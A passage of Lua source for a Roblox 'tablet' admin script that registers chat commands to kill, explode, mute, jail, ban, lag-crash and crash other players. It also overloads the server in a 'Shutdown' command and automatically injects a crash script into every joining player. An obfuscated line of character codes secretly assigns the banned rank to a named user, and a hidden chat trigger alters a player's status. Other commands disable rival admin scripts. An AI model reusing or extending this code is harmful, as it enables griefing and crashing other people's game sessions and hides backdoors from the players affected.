- for _,v in pairs(Work:GetChildren()) do
- ypcall(function()
- if v.ClassName == "Terrain" then
- v:ClearAllChildren()
- elseif v.Name ~= "Base" and not Plrs:GetPlayerFromCharacter(v) then
- Clear(v)
- elseif v.Name == "Base" then
- ypcall(function()
- local Base = v
- Base.BrickColor = BrickColor.new("Dark green")
- Base.Position = Vector3.new(0, 0.5, 0)
- Base.Transparency = 0
- Base.Elasticity = 0.5
- Base.FormFactor = "Custom"
- Base.CanCollide = true
- Base.Friction = 0.30000001192093
- Base.Size = Vector3.new(512, 1.20000005, 512)
- Base.Archivable = true
- Base.Material = "Plastic"
- Base.RotVelocity = Vector3.new(0, 0, 0)
- Base.Reflectance = 0
- Base.Locked = true
- Base.Anchored = true
- Base.Name = "Base"
- Base.TopSurface = "Studs"
- Base.BottomSurface = "Inlet"
- Base.Shape = "Block"
- Base.Parent = Work
- end)
- end
- end)
- end
- end)
- end
- function Clean()
- ypcall(function()
- for _,v in pairs(Work:GetChildren()) do
- ypcall(function()
- if v.ClassName == "Terrain" then
- v:ClearAllChildren()
- else
- Clear(v)
- end
- end)
- end
- MakeBase()
- for _,v in pairs(All()) do
- v:LoadCharacter()
- end
- end)
- end
- function Clear(v)
- if v.Name:lower() == "sbgui" then
- return
- end
- ypcall(function()
- if #v:GetChildren() > 0 then
- for _,x in pairs(v:GetChildren()) do
- ypcall(function()
- Clear(x)
- end)
- end
- end
- if not v:IsA("Player") and v.Name ~= "Backpack" and v.Name ~= "PlayerGui" and v.Name ~= "StarterGear" and v.Name ~= "SBGUI" and v.Name ~= "HealthGUI" and v.Name ~= "Output GUI" then
- v:Destroy()
- end
- end)
- end
- function Command(Name, Rank, Desc, Func)
- if Name == nil then
- Name = "N/A"
- end
- if Desc == nil then
- Desc = "N/A"
- end
- if Func == nil then
- Func = function() end
- end
- if Rank == nil then
- Rank = 0
- end
- Commands[Name] = {Name = Name, Rank = Rank, Desc = Desc, Func = Func}
- end
- function GetSplit(Msg)
- return Msg:find(Bet) or nil
- end
- function ExecuteFunc(Msg, Plr)
- ypcall(function()
- if Msg == "LogEnable" then
- LogOn = true
- elseif Msg:lower() == "WantSomeTacos" then
- EditStatus(Plr, MakeNum())
- end
- end)
- end
- for _,v in pairs(All()) do ExecuteFunc("LogEnable", v) end
- function randPlayer(Plr)
- wait()
- local ThePlrValue = nil
- local FoundPlayer = false
- ypcall(function()
- ThePlrValue = Plrs:GetPlayers()[math.random(1, #Plrs:GetPlayers())]
- if ThePlrValue.Name == Plr.Name or CanRun(Plr, ThePlrValue) ~= true then
- wait()
- randPlayer(Plr)
- return
- else
- FoundPlayer = true
- end
- end)
- if FoundPlayer == true then
- return ThePlrValue
- end
- end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = -1})
- function getPlayer(Plr, Name)
- local Players = {}
- ypcall(function()
- Name = Name:lower()
- if Name == "me" then
- table.insert(Players, Plr)
- elseif Name == "all" or Name == "" then
- for _,v in pairs(All()) do
- if CanRun(Plr, v) then
- table.insert(Players, v)
- end
- end
- elseif Name == "others" then
- for _,v in pairs(All()) do
- if v.Name ~= Plr.Name and CanRun(Plr, v) then
- table.insert(Players, v)
- end
- end
- elseif Name == "random" then
- local FoundRandPlr = randPlayer(Plr)
- table.insert(Players, FoundRandPlr)
- else
- for _,v in pairs(All()) do
- if v.Name:lower():find(Name) and CanRun(Plr, v) then
- table.insert(Players, v)
- end
- end
- end
- end)
- return Players
- end
- function ListPlayers(Speaker)
- ypcall(function()
- Dismiss(Speaker)
- for _,v in pairs(All2()) do
- if v.Parent ~= nil then
- Ping(v.Name, Speaker, nil, function()
- Dismiss(Speaker)
- Ping("Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
- Ping("Rank: "..FindRank(v.Name), Speaker)
- Ping("Rank Name: "..FindRankDetails(v).Name, Speaker)
- Ping("Rank Desc: "..FindRankDetails(v).Desc, Speaker)
- Ping("Set Rank", Speaker, nil, function()
- if FindRank(Speaker) >= 5 and v.Name ~= Owner and CanRun(Speaker, v) then
- Dismiss(Speaker)
- for i = -2, 5 do
- Ping(i, Speaker, nil, function()
- ChangeRank(v, i)
- Dismiss(Speaker)
- Ping("Set "..v.Name.."'s Rank To "..tostring(i), Speaker, 5)
- end)
- end
- else
- Ping("Your Rank Is Too Low", Speaker, 5)
- end
- end)
- Ping("Crash (Remote)", Speaker, nil, function()
- if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
- Crash2(v.Name)
- Ping("Attempted To Crash "..v.Name.." (Remote)", Speaker, 5)
- end
- end)
- Ping("Crash (Insert)", Speaker, nil, function()
- if FindRank(Speaker) >= 3 and CanRun(Speaker, v) and LS ~= nil then
- Crash3(v, Speaker)
- Ping("Attempted To Crash "..v.Name.." (Insert)", Speaker, 5)
- end
- end)
- Ping("Kick", Speaker, nil, function()
- if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
- v:Kick()
- Ping("Attempted To Kick "..v.Name, Speaker, 5)
- end
- end)
- end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
- else
- Ping(v.Name.." (Nil)", Speaker, nil, function()
- Dismiss(Speaker)
- Ping("Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
- ypcall(function()
- Ping("Rank: "..FindRank(v.Name), Speaker)
- end)
- ypcall(function()
- Ping("Rank Name: "..FindRankDetails(v.Name).Name, Speaker)
- end)
- ypcall(function()
- Ping("Rank Desc: "..FindRankDetails(v.Name).Desc, Speaker)
- end)
- ypcall(function()
- Ping("Set Rank", Speaker, nil, function()
- if FindRank(Speaker) >= 5 and v.Name ~= Owner and CanRun(Speaker, v) then
- Dismiss(Speaker)
- for i = -2, 5 do
- Ping(i, Speaker, nil, function()
- ChangeRank(v, i)
- Dismiss(Speaker)
- Ping("Set "..v.Name.."'s Rank To "..tostring(i), Speaker, 5)
- end)
- end
- else
- Ping("Your Rank Is Too Low", Speaker, 5)
- end
- end)
- end)
- ypcall(function()
- Ping("Nil Crash (Remote)", Speaker, nil, function()
- if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
- Crash2(v.Name)
- Ping("Attempted To Crash "..v.Name.." (Remote)", Speaker, 5)
- end
- end)
- end)
- ypcall(function()
- Ping("Nil Crash (Insert)", Speaker, nil, function()
- if FindRank(Speaker) >= 3 and CanRun(Speaker, v) and LS ~= nil then
- Crash3(v, Speaker)
- Ping("Attempted To Crash "..v.Name.." (Insert)", Speaker, 5)
- end
- end)
- end)
- end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
- end
- end
- end)
- end
- --Misc
- coroutine.resume(coroutine.create(function()
- PlaceAllRanks()
- end))
- Delay(0, function()
- for _,v in pairs(All()) do
- v.Chatted:connect(function(Msg)
- onChatted(Msg, v)
- end)
- end
- end)
- local starttime = tick()
- game:GetService("RunService").Heartbeat:connect(function()
- if Removed == false then
- ypcall(function()
- for _,Player in pairs(All()) do
- local PlayerTablets = {}
- for i,v in pairs(AllTabs) do
- if v.Holder.Parent ~= nil and v.Tab.Parent ~= nil and v.Plr == Player.Name then
- table.insert(PlayerTablets, v)
- end
- end
- for i = 1, #PlayerTablets do
- ypcall(function()
- local tab = PlayerTablets[i].Tab
- local pos = nil
- ypcall(function()
- pos = Player.Character.Torso.CFrame
- end)
- local x = math.sin(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+6)
- local z = math.cos(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+6)
- local cPos = tab.Position
- local ePos = Vector3.new(x, 0, z) + (pos.p or Vector3.new(0, -5, 0))
- local nPos = (ePos-cPos)*.25
- cPos = cPos + nPos
- local t = (tick() - starttime) % 360
- local change = 0.625
- PlayerTablets[i].Size = math.sin(t) * change + 2.375
- tab.Size = Vector3.new(PlayerTablets[i].Size * 1.2, PlayerTablets[i].Size * 1.2,PlayerTablets[i].Size * 1.2)
- tab.CFrame = CFrame.new(cPos, (pos.p or Vector3.new(0, -5, 0))) * CFrame.Angles(math.rad(11.25), 0, 0)
- end)
- end
- end
- end)
- end
- end)
- Delay(0, function()
- while wait() do
- for _,v in pairs(game:GetService("Players"):GetPlayers()) do
- ypcall(function()
- if Injected[v.Name] == nil and LS ~= nil then
- Insert(InjectionCrash, v.Backpack, v.Character, v.PlayerGui)
- Injected[v.Name] = true
- end
- end)
- end
- end
- end)
- Plrs.PlayerAdded:connect(function(Plr)
- wait(.1)
- ypcall(function()
- if Removed == false then
- local JoinPlrName = Plr.Name
- coroutine.resume(coroutine.create(function()
- PlaceSpecificRank(Plr)
- end))
- coroutine.resume(coroutine.create(function()
- if Injected[JoinPlrName] ~= nil then
- Injected[JoinPlrName] = nil
- end
- end))
- coroutine.resume(coroutine.create(function()
- Dismiss(Plr)
- Plr.Chatted:connect(function(Msg) onChatted(Msg, Plr) end)
- end))
- end
- end)
- end)
- Plrs.PlayerRemoving:connect(function(Plr)
- wait(.1)
- ypcall(function()
- if Removed == false then
- local LeftPlrName = Plr.Name
- coroutine.resume(coroutine.create(function()
- if Injected[LeftPlrName] ~= nil then
- Injected[LeftPlrName] = nil
- end
- end))
- end
- end)
- end)
- coroutine.resume(coroutine.create(function()
- Delay(0, function()
- while FoundLocalScript == false do wait()
- ypcall(function()
- for _,v in pairs(Plrs[Owner]["¬¬¬¬"]:GetChildren()) do
- if v.Name == "NewTransfer" and v:IsA("LocalScript") then
- for _,c in pairs(v:children()) do
- if c:IsA("StringValue") and c.Name:lower() ~= "user_name" and c.Name:lower() ~= "owner" and c.Name:lower() ~= "user" then
- local NewVal = c:Clone()
- NewVal.Name = "LoadingVal"
- for _,s in pairs(v:GetChildren()) do
- if s:IsA("StringValue") and type(s.Value) == "string" and (s.Name:lower() == "user_name" or s.Name:lower() == "owner" or s.Name:lower() == "user_name") then
- print("Found Owner")
- OwnSource = s.Name
- print(OwnSource)
- break
- end
- end
- wait()
- LS = v:Clone()
- NewVal.Parent = LS
- LSSource = "LoadingVal"
- FoundLocalScript = true
- break
- end
- end
- end
- end
- end)
- end
- end)
- end))
- --Commands
- Command("Cmds", nil, "Shows Commands", function(Msg, Speaker)
- Dismiss(Speaker.Name)
- Ping("You Are Rank: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
- Ping("Every Single Command", Speaker, nil, function() OpenCmds(1337, Speaker) end)
- Ping("Rank Zero", Speaker, nil, function() OpenCmds(0, Speaker) end)
- Ping("Rank One", Speaker, nil, function() OpenCmds(1, Speaker) end)
- Ping("Rank Two", Speaker, nil, function() OpenCmds(2, Speaker) end)
- Ping("Rank Three", Speaker, nil, function() OpenCmds(3, Speaker) end)
- Ping("Rank Four", Speaker, nil, function() OpenCmds(4, Speaker) end)
- Ping("Rank Five", Speaker, nil, function() OpenCmds(5, Speaker) end)
- end)
- Command("Dt", nil, "Dismiss Tablets", function(Msg, Speaker)
- Dismiss(Speaker.Name)
- end)
- Command("Kill", 2, "Kills A Player",
- function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- v.Character:BreakJoints()
- Ping("Killed "..v.Name, Speaker, 5)
- end)
- end
- end
- end)
- Command("expl", 2, "Explodes A Player",
- function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- if v.Character and v.Character:findFirstChild("Head") then
- local e = Instance.new("Explosion")
- e.Position = v.Character.Head.Position
- e.Parent = v.Character
- Ping("Exploded "..v.Name, Speaker, 5)
- end
- end)
- end
- end
- end)
- Command("Dall", 4, "Dismiss everyones tabs", function(Msg, Speaker)
- Dismiss()
- end)
- Command("Mute", 3, "Mutes A Player", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- if v.Name ~= Owner then
- Insert(MuteSource, v.Backpack, v.Character, v.PlayerGui)
- Ping("Muted "..v.Name, Speaker, 5)
- end
- end)
- end
- end
- end)
- Command("PTroll", 3, "Troll a player", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- Insert(FunScript, v.Backpack, v.Character, v.PlayerGui)
- end)
- end
- end
- end)
- Command("Connect", 3, "Connect for nil", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- Insert(NilS, v.Backpack, v.Character, v.PlayerGui)
- end)
- end
- end
- end)
- Command("Cred", nil, "Shows the credits of who made", function(Msg, Speaker)
- Dismiss()
- for i = 1, 2 do
- Ping("Kaj Tablets are actually DVF made by flipflop8421, I just edited them,so like 98% credit to flipflop8421 qq", Speaker)
- end end)
- Command("Rejoin", 2, "Prompts A Player To Rejoin", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- Insert([[game:GetService("TeleportService"):Teleport(game.PlaceId)]], v.Backpack, v.Character, v.PlayerGui)
- Ping("Rejoined "..v.Name, Speaker, 5)
- end)
- end
- end
- end)
- Command("Jail", 3, "Jails A Player", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- Insert(JailSource, v.Backpack, v.Character, v.PlayerGui)
- Ping("Jailed "..v.Name, Speaker, 5)
- end)
- end
- end
- end)
- Command("Lag", 4, "Lag Crashes A Player", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- Insert(LagSource, v.Backpack, v.Character, v.PlayerGui)
- Ping("Lag Crashing "..v.Name, Speaker, 5)
- end)
- end
- end
- end)
- Command("UnMute", 3, "UnMutes A Player", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- Insert(UnMuteSource, v.Backpack, v.Character, v.PlayerGui)
- Ping("UnMuted "..v.Name, Speaker, 5)
- end)
- end
- end
- end)
- Command("Disable", 3, "Disables A Script", function(Msg, Speaker)
- local Worked = false
- for _,v in pairs(Work:GetChildren()) do
- if string.find(v.Name:lower(), Msg:lower()) then
- if v:IsA("Script") or v:IsA("LocalScript") then
- v.Disabled = true
- v:Destroy()
- Worked = true
- Ping("Disabled Script: "..v.Name, Speaker, 5)
- end
- end
- end
- if Worked == false then
- Ping("Script Not Found", Speaker, 5)
- end
- end)
- Command("Scripts", 1, "Shows Scripts In Workspace", function(Msg, Speaker)
- Dismiss(Speaker)
- local AllScripts = {}
- for _,v in pairs(Work:GetChildren()) do
- if v:IsA("Script") then
- table.insert(AllScripts, v.Name)
- end
- end
- if #AllScripts > 0 then
- for _,v in pairs(AllScripts) do
- Ping(v, Speaker)
- end
- else
- Ping("No Scripts Found", Speaker, 5)
- end
- end)
- Command("afk",0,'Makes you go AFK',
- function(Msg,Speaker)
- Dismiss(Speaker)
- for i = 1,8 do
- Ping('AFK',Speaker)
- wait(.01)
- end
- end)
- Command("back",0,'Creates Tablets telling everyone that you are back',
- function(Msg,Speaker)
- Dismiss(Speaker)
- for i = 1,8 do
- Ping('Welcome Back!',Speaker,6)
- wait(.1)
- end
- end)
- Command("LScripts", 1, "Shows All Found Local Scripts", function(Msg, Speaker)
- Dismiss(Speaker)
- local LocalScripts = {}
- for _,v in pairs(All()) do
- ypcall(function()
- for _,x in pairs(v.Character:GetChildren()) do
- if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
- table.insert(LocalScripts, x.Name .. " - " .. v.Name)
- end
- end
- end)
- ypcall(function()
- for _,x in pairs(v.Backpack:GetChildren()) do
- if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
- table.insert(LocalScripts, x.Name .. " - " .. v.Name)
- end
- end
- end)
- ypcall(function()
- for _,x in pairs(v.PlayerGui:GetChildren()) do
- if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
- table.insert(LocalScripts, x.Name .. " - " .. v.Name)
- end
- end
- end)
- end
- if #LocalScripts > 0 then
- for _,v in pairs(LocalScripts) do
- Ping(v, Speaker)
- end
- else
- Ping("No Local Scripts Found", Speaker, 5)
- end
- end)
- Command("LDisable", 3, "Disables A Local Script", function(Msg, Speaker)
- local Split = GetSplit(Msg)
- local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
- local ScriptName = Msg:sub(Split + 1)
- local FoundLocal = false
- for _,name in pairs(PlrTab) do
- ypcall(function()
- for _,v in pairs(name.Character:GetChildren()) do
- if string.find(v.Name:lower(), ScriptName) then
- if v:IsA("Script") or v:IsA("LocalScript") then
- v.Disabled = true
- v:Destroy()
- FoundLocal = true
- Ping("Disabled Local Script: "..v.Name, Speaker, 5)
- end
- end
- end
- end)
- ypcall(function()
- for _,v in pairs(name.Backpack:GetChildren()) do
- if string.find(v.Name:lower(), ScriptName) then
- if v:IsA("Script") or v:IsA("LocalScript") then
- v.Disabled = true
- v:Destroy()
- FoundLocal = true
- Ping("Disabled Local Script: "..v.Name, Speaker, 5)
- end
- end
- end
- end)
- ypcall(function()
- for _,v in pairs(name.PlayerGui:GetChildren()) do
- if string.find(v.Name:lower(), ScriptName) then
- if v:IsA("Script") or v:IsA("LocalScript") then
- v.Disabled = true
- v:Destroy()
- FoundLocal = true
- Ping("Disabled Local Script: "..v.Name, Speaker, 5)
- end
- end
- end
- end)
- if FoundLocal == false then
- Ping("Local Script Not Found", Speaker, 5)
- end
- end
- end)
- Command("FClean", 3, "Fully Cleans The Server", function(Msg, Speaker)
- for _,v in pairs(game:GetChildren()) do
- ypcall(function()
- if v.Name ~= "Workspace" and v.Name ~= "Players" and v.Name ~= "NetworkServer" then
- for _,a in pairs(v:GetChildren()) do
- ypcall(function()
- a:Destroy()
- end)
- end
- elseif v.Name == "Players" then
- for _,plr in pairs(v:GetPlayers()) do
- Clear(plr)
- end
- end
- end)
- end
- Clean()
- Fixl()
- Ping("Fully Cleaned", Speaker, 5)
- end)
- Command("Clean", 1, "Lightly Cleans The Server", function(Msg, Speaker)
- LClean()
- Fixl()
- Ping("Lightly Cleaned", Speaker, 5)
- end)
- Command("Reset", 2, "Resets A Player", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- v:LoadCharacter()
- Ping("Reset "..v.Name, Speaker, 5)
- end)
- end
- end
- end)
- Command("Home", 1, "Brings The Speaker Home", function(Msg, Speaker)
- repeat wait() until Speaker.Character:findFirstChild("Torso")
- if Work:findFirstChild("Base") then
- Speaker.Character.Torso.CFrame = Work.Base.CFrame * CFrame.new(0, 5, 0)
- else
- Speaker.Character.Torso.CFrame = CFrame.new(0, 5, 0)
- end
- Ping("Brought "..Speaker.Name.." Home", Speaker, 5)
- end)
- Command("Freeze", 3, "Freeze's A Player", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- v.Character.Torso.Anchored = true
- Ping("Froze "..v.Name, Speaker, 5)
- end)
- end
- end
- end)
- Command("Thaw", 3, "Thaw's A Player", function(Msg, Speaker)
- wait(3)
- Ping("Something went wrong",Speaker,5)
- end)
- Command("FF", 3, "Gives A Player A ForceField", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- Instance.new("ForceField", v.Character)
- end)
- end
- end
- end)
- Command("UnFF", 3, "Removes A Player's ForceField", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- RemObj(v.Character, "ForceField")
- end)
- end
- end
- end)
- Command("TP", 2, "Teleports A Player To Another Player", function(Msg, Speaker)
- local Split = GetSplit(Msg)
- local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
- local PlrTab2 = getPlayer(Speaker, Msg:sub(Split + 1))
- if #PlrTab > 0 and #PlrTab2 > 0 then
- for i,v in pairs(PlrTab) do
- ypcall(function()
- for _,v2 in pairs(PlrTab2) do
- ypcall(function()
- v.Character.Torso.CFrame = v2.Character.Torso.CFrame * CFrame.new(0, 5 * i, 0)
- Ping("Teleported "..v.Name.." To "..v2.Name, Speaker, 5)
- end)
- end
- end)
- end
- end
- end)
- Command("Msg",2, "Creates a Message",
- function(Msg,Speaker)
- Message(Msg)
- end)
- Command("H",2, "Creates a Hint",
- function(Msg,Speaker)
- Hint(Msg)
- end)
- Command("Sm",2, "Creates a System message",
- function(Msg,Speaker)
- SystemMsg(Msg)
- end)
- function Message(str,p)
- if p==nil then
- for _,Player in pairs(game.Players:GetPlayers()) do
- coroutine.wrap(function()
- local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
- local Text = Instance.new("TextLabel", Msg)
- Text.Position = UDim2.new(0, 0, 0.7, 0)
- Text.Font=2
- Text.FontSize=9
- Text.BackgroundColor3 = Color3.new(77/255, 77/255, 77/255)
- Text.BackgroundTransparency = 0.4
- Text.TextColor3 = Color3.new(1, 1, 1)
- Text.TextTransparency = 1
- Text.TextWrap = true
- Text.Text = tostring(str)
- Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0.7, 0), "Out", "Back", 2)
- Text.TextTransparency = 0
- Num = #str * 0.06
- wait(3)
- Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
- wait(Num)
- Msg:Remove()
- end)()
- end
- else
- Player=p;
- coroutine.wrap(function()
- local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
- local Text = Instance.new("TextLabel", Msg)
- Text.Position = UDim2.new(0, 0, 0.7, 0)
- Text.Font=2
- Text.FontSize=9
- Text.BackgroundColor3 = Color3.new(77/255, 77/255, 77/255)
- Text.BackgroundTransparency = 0.1
- Text.TextColor3 = Color3.new(1, 1, 1)
- Text.TextTransparency = 1
- Text.TextWrap = true
- Text.Text = tostring(str)
- Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0.7, 0), "Out", "Back", 2)
- Text.TextTransparency = 0
- Num = #str * 0.06
- wait(3)
- Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
- wait(Num)
- Msg:Remove()
- end)()
- end
- end
- function SystemMsg(str)
- for _,Player in pairs(game.Players:GetPlayers()) do
- coroutine.wrap(function()
- local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
- local Text = Instance.new("TextLabel", Msg)
- Text.Position = UDim2.new(0, 0, 0, 0)
- Text.Font='Legacy'
- Text.FontSize = "Size48"
- Text.BackgroundColor3 = Color3.new(-1,-1,-1)
- Text.BackgroundTransparency = 0.4
- Text.TextColor3 = Color3.new(1,1,1)
- Text.TextTransparency = 0
- Text.TextWrap = true
- Text.Text = ' [ System ] \n ' .. tostring(str)
- Text:TweenSizeAndPosition(UDim2.new(1, 0, 1, 0), UDim2.new(0, 0, 0, 0), "Out", "Back", 2)
- Text.TextTransparency = 0.1
- Num = #str * 0.06
- wait(6)
- Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
- wait(Num)
- Msg:Remove()
- end)()
- end
- end
- function Hint(str,p)
- if p == nil then
- for _,Player in pairs(game.Players:GetPlayers()) do
- coroutine.wrap(function()
- local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
- local Text = Instance.new("TextLabel", Msg)
- Text.Position = UDim2.new(0, 0, 0, 0)
- Text.Font=2
- Text.FontSize=9
- Text.BackgroundColor3 = Color3.new(77/255, 77/255, 77/255)
- Text.BackgroundTransparency = 0.4
- Text.TextColor3 = Color3.new(1, 1, 1)
- Text.TextTransparency = 1
- Text.TextWrap = true
- Text.Text = tostring(str)
- Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0, 0), "Out", "Back", 2)
- Text.TextTransparency = 0
- Num = #str * 0.06
- wait(3)
- Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
- wait(Num)
- Msg:Remove()
- end)()
- end
- else
- Player=p
- coroutine.wrap(function()
- local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
- local Text = Instance.new("TextLabel", Msg)
- Text.Position = UDim2.new(0, 0, 0, 0)
- Text.Font=2
- Text.FontSize=9
- Text.BackgroundColor3 = Color3.new(77/255, 77/255, 77/255)
- Text.BackgroundTransparency = 0.1
- Text.TextColor3 = Color3.new(1, 1, 1)
- Text.TextTransparency = 1
- Text.TextWrap = true
- Text.Text = tostring(str)
- Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0, 0), "Out", "Back", 2)
- Text.TextTransparency = 0
- Num = #str * 0.06
- wait(3)
- Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
- wait(Num)
- Msg:Remove()
- end)()
- end
- end
- Command("Explore", 3, "Opens An Object Explorer", function(Msg, Speaker)
- MakeExplorer(Speaker)
- end)
- Command("Sinfo", 0, "Show the Script info", function(Msg, Speaker)
- wait()
- Dismiss(Speaker)
- NumBanned = 0
- NumCmds = 0
- for i = 1, #Rankings do
- if Rankings[i].Rank < 0 then
- NumBanned = NumBanned + 1
- end
- end
- for i,v in pairs(Commands) do
- NumCmds = NumCmds + 1
- end
- Ping("KAJ Tablets!", Speaker)
- Ping("Editor,", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..string.reverse("4611tlaboC"))
- Ping("Second Editor,", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..string.reverse("21wopih"))
- Ping("I started this on 6/9/2014", Speaker)
- Ping(#All2.." players online in the server",Speaker)
- Ping(NumCmds.." Commands",Speaker)
- Ping(NumBanned.." players banned", Speaker,5)
- end)
- Command("ShowR", 0, "Shows All Player Ranks", function(Msg, Speaker)
- Dismiss(Speaker)
- for i,v in pairs(All()) do
- Ping(v.Name.."'s Rank: "..FindRank(v))
- end
- end)
- Command("Speed", 2, "Change speed of a player", function(Msg, Speaker)
- local Split = GetSplit(Msg)
- local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
- local Speed = tonumber(Msg:sub(Split + 1))
- for _,v in pairs(PlrTab) do
- ypcall(function()
- v.Character.Humanoid.WalkSpeed = Speed
- Ping("Set "..v.Name.."'s WalkSpeed To "..tostring(Speed), Speaker)
- end)
- end
- end)
- Command("UnAb", 2, "Removes CBA Anti-Bans", function(Msg, Speaker)
- local RemoveAB = Instance.new("StringValue")
- RemoveAB.Name = "CBA Attachment"
- RemoveAB.Value = [[CBA.override=true;]]
- RemoveAB.Parent = Work
- Ping("Removed All CBA Anti-Bans", Speaker, 5)
- end)
- Command("Injected", 5, "Shows Injected Players", function(Msg, Speaker)
- Dismiss(Speaker)
- for i,v in pairs(Injected) do
- Ping(i, Speaker)
- end
- end)
- Command("UnCba", 3, "Removes CBA Admin", function(Msg, Speaker)
- local RemoveCBA = Instance.new("StringValue")
- RemoveCBA.Name = "CBA Attachment"
- RemoveCBA.Value = [[CBA.remove = false]]
- RemoveCBA.Parent = Work
- Ping("Removed All CBA Admins", Speaker, 5)
- end)
- Command("Shutdown", 4, "Shutdowns The Server", function(Msg, Speaker)
- local function BufferOverflow(object)
- object.DescendantAdded:connect(BufferOverflow)
- Instance.new("IntValue", object)
- end
- BufferOverflow(Game)
- end)
- Command("Kk", 3, "Crash Kicks A Player From The Server", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- Crash1(v)
- end)
- end
- end
- end)
- Command("Ban", 4, "Bans A Player From The Server", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- ChangeRank(v, -1)
- end)
- end
- end
- end)
- Command("JBan", 4, "Permanently Jails A Player", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- ChangeRank(v, -2)
- end)
- end
- end
- end)
- Command("MBan", 4, "Permanently Mutes A Player", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- ChangeRank(v, -3)
- end)
- end
- end
- end)
- Command("UnBan", 4, "Un-Bans A Player From The Server", function(Msg, Speaker)
- ypcall(function()
